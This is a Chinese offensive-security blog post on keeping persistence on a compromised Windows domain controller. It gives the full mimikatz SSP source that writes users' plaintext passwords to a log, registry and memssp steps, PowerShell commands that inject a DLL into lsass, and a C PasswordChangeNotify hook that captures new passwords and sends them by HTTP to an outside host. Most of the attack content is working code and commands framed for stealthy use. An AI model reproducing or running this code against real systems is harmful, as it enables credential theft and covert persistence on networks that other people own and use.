原创 Buffer HACK学习君
微信号 XHacker1961
功能介绍 HACK学习,专注于网络安全攻防与黑客精神,分享技术干货,代码审计,安全工具开发,实战渗透,漏洞挖掘,网络安全资源分享,为广大网络安全爱好者和从业人员提供一个交流学习分享的平台
__
收录于话题
#内网渗透 ,3
#权限维持 ,1
前言
拿下域控,渗透就结束了吗?实际上,往往刚刚开始。本文就域控权限维持的两种方法展开研究:SSP
和PasswordChangeNotify
。
SPP全称为Security Support Provider
,安全支持提供者。SPP是一个dll,用于身份的验证。windows下的SSP包含有:
•NTLMSSP (msv1_0.dll)•Kerberos (kerberos.dll)•NegotiateSSP (secur32.dll)•Secure Channel (schannel.dll)•TLS/SSL•Digest SSP (wdigest.dll)•CredSSP (credssp.dll)•DPA(Distributed Password Authentication) (msapsspc.dll)•Public Key Cryptography User-to-User (PKU2U, pku2u.dll)
SSPI全称为Security Support Provider Interface
,为SSP接口,实际上就是SSP的API。
LSA全称Local Security Authority
,是微软窗口操作系统的一个内部程序,负责运行Windows系统安全政策。它在用户登录时电脑单机或服务器时,验证用户身份,管理用户密码变更,并产生访问字符。它也会在窗口安全记录档中留下应有的记录。用于身份的验证。其中就包含有lsass.exe
进程。
操作lsass进程需要至少system权限。
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
mimikatz
早以支持这个功能,该文件为为mimilib.dll
。mimikatz poc为:
#include "kssp.h"static SECPKG_FUNCTION_TABLE kiwissp_SecPkgFunctionTable = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, kssp_SpInitialize, kssp_SpShutDown, kssp_SpGetInfo, kssp_SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,};NTSTATUS NTAPI kssp_SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable){ return STATUS_SUCCESS;}NTSTATUS NTAPI kssp_SpShutDown(void){ return STATUS_SUCCESS;}NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo){ PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION; PackageInfo->wVersion = 1; PackageInfo->wRPCID = SECPKG_ID_NONE; PackageInfo->cbMaxToken = 0; PackageInfo->Name = L"KiwiSSP"; PackageInfo->Comment = L"Kiwi Security Support Provider"; return STATUS_SUCCESS;}NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials){ FILE * kssp_logfile;;#pragma warning(push)#pragma warning(disable:4996) if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))#pragma warning(pop) { klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName); klog_password(kssp_logfile, &PrimaryCredentials->Password); klog(kssp_logfile, L"\n"); fclose(kssp_logfile); } return STATUS_SUCCESS;}NTSTATUS NTAPI kssp_SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables){ *PackageVersion = 0x00000042; *ppTables = &kiwissp_SecPkgFunctionTable; *pcTables = 1; return STATUS_SUCCESS;}
64位和32位的都有,和目标系统位数要一致。将该dll拷贝到域控c:\windows\system32
下
打开注册表,修改域控位置HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
在Security Packages
下添加mimilib.dll
将域控重启系统。打开新生成文件c:\windows\system32\kiwissp.log
。
kiwissp.log记录着登录的账户和明文密码
但该方式弊端非常明显:重启的动作太大。mimikatz同样支持了以内存更新的方式更新ssp,无需重启就能获取到登录用户的账号信息和密码。
进入与目标系统位数相同的mimikatz后,输入命令
•privilege::debug•misc::memssp
当目标用户注销后再登录,账户和明文密码会储存到C:\Windows\system32\mimilsa.log
type C:\Windows\system32\mimilsa.log
实际上就是将该dll注入到lsass进程中。该方式重启后无效,需要重新注入。但依靠mimikatz这两种方式有一定局限性。下面介绍通过Hook PasswordChangeNotify
拦截修改的帐户密码的方法。
PasswordChangeNotify
是windows提供的一个API。具体参数返回值参照官方文档:https://docs.microsoft.com/en-
us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine
当域控密码被修改时,LSA首先调用PasswordFileter
函数,该函数作用为检测新密码是否满足复杂度。如果符合则调用PasswordChangeNotify
在系统上同步更新密码。
具体实现思路如下:
1.为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。2.在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。3.将生成的dll注入到lssas进程中。使用HOOK PasswordChangeNotify无需重启域控系统或修改注册表,更加隐蔽且贴合实际。
前人栽树,后人乘凉。项目地址:https://github.com/clymb3r/Misc-Windows-Hacking
下载后将sln文件打开,右键解决方案,将MFC的使用设置为在静态库中使用MFC编译工程,然后F7编译。
ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
使用该将HookPasswordChange.dll注入内存
Set-ExecutionPolicy bypass Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
执行后若无报错信息则说明注入成功。注意dll位数。
当更改密码后,能够抓取到更改后的密码,账户和明文密码储存在C:\Windows\Temp\passwords.txt
。
当然存储文件位置和类型可以自定义,只需更改HookPasswordChange.cpp文件。
如果觉得仍然不方便,希望直接将密码上传到服务器,可以使用http协议发送。
#include <windows.h>#include <stdio.h>#include <WinInet.h>#include <ntsecapi.h>void writeToLog(const char* szString){ FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); if (NULL == pFile) { return; } fprintf(pFile, "%s\r\n", szString); fclose(pFile); return;}// Default DllMain implementationBOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ OutputDebugString(L"DllMain"); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}BOOLEAN __stdcall InitializeChangeNotify(void){ OutputDebugString(L"InitializeChangeNotify"); writeToLog("InitializeChangeNotify()"); return TRUE;}BOOLEAN __stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation ){ OutputDebugString(L"PasswordFilter"); return TRUE;}NTSTATUS __stdcall PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword ){ FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0); HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0); char* pBuf="SomeData"; OutputDebugString(L"PasswordChangeNotify"); if (NULL == pFile) { return; } fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer); fclose(pFile); InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2); InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2); HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf)); return 0;}
**
https://blog.carnal0wnage.com/2013/09/stealing-passwords-every-time-they.html
点赞,转发,在看
原创投稿作者:Buffer
预览时标签不可点
收录于话题 #
个 __
上一篇 下一篇
阅读
分享 收藏
赞 在看
____已同步到看一看写下你的想法
前往“发现”-“看一看”浏览“朋友在看”
前往看一看
看一看入口已关闭
在“设置”-“通用”-“发现页管理”打开“看一看”入口
我知道了
__
已发送
取消 __
发送
内网渗透|域渗透之域控权限维持
最多200字,当前共字
__
发送中
写下你的留言
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看